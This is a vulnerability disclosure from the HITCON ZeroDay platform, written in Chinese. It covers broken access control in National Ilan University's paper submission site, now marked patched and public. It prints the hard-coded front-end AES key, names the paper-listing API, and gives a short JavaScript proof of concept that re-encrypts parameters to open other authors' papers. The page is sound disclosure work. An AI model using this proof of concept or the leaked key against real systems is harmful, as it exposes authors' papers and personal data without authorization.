Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01331
- Vendor: 國立宜蘭大學
- Title: 國立宜蘭大學 投稿系統前端加密授權繞過導致論文資料未授權存取
- Introduction: 系統於客戶端實作存取控制機制,攻擊者可透過逆向工程繞過授權檢查,導致所有投稿論文及作者個人識別資訊遭未授權存取
處理狀態
目前狀態
公開
Last Update : 2025/11/04
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/10/08 23:22:52 : 新提交 (由 CHIEN 更新此狀態)
- 2025/10/12 12:01:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:41:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:41:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:41:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/27 17:21:58 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/04 03:00:52 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01331
- 通報者:qian (CHIEN)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://tanet2025js.niu.edu.tw/Mang/viewpaper/:encryptedParams
敘述
系統在 /Mang/viewpaper/:encryptedParams 路由使用前端 AES 加密作為授權機制,存在以下問題:
- 加密金鑰硬編碼於前端:
TanetJS2024SecureKey!@#$%^&*()可直接從前端取得 - 授權檢查在客戶端執行:後端未驗證使用者是否有權限存取論文
- API 可被任意存取:API
/API/Mang/GetPaperListByType列出所有論文以及其 ID 相關資訊可被任意存取
重現步驟
攻擊者只需:
- 取得任意論文的 ID 參數 pkno, userId, paperId(從 API 中取得)
- 使用前端暴露的金鑰重新加密參數
- 存取、下載任意論文
驗證程式碼:
const script = document.createElement('script');
script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js';
script.onload = () => {
const params = { pkno: 5, userId: 26, paperId: 'N0004' };
const encrypted = CryptoJS.AES.encrypt(
JSON.stringify(params),
'TanetJS2024SecureKey!@#$%^&*()'
).toString();
location.href = '/Mang/viewpaper/' + encodeURIComponent(encrypted);
};
document.head.appendChild(script);
修補建議
1. 移除前端授權機制 - 刪除客戶端加密邏輯,改用後端 Session/JWT
2. 後端驗證權限 - 每次存取論文時檢查使用者權限
3. 使用安全 Token - 伺服器端產生有時效性的授權 Token
4. 限制 API 請求權限
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。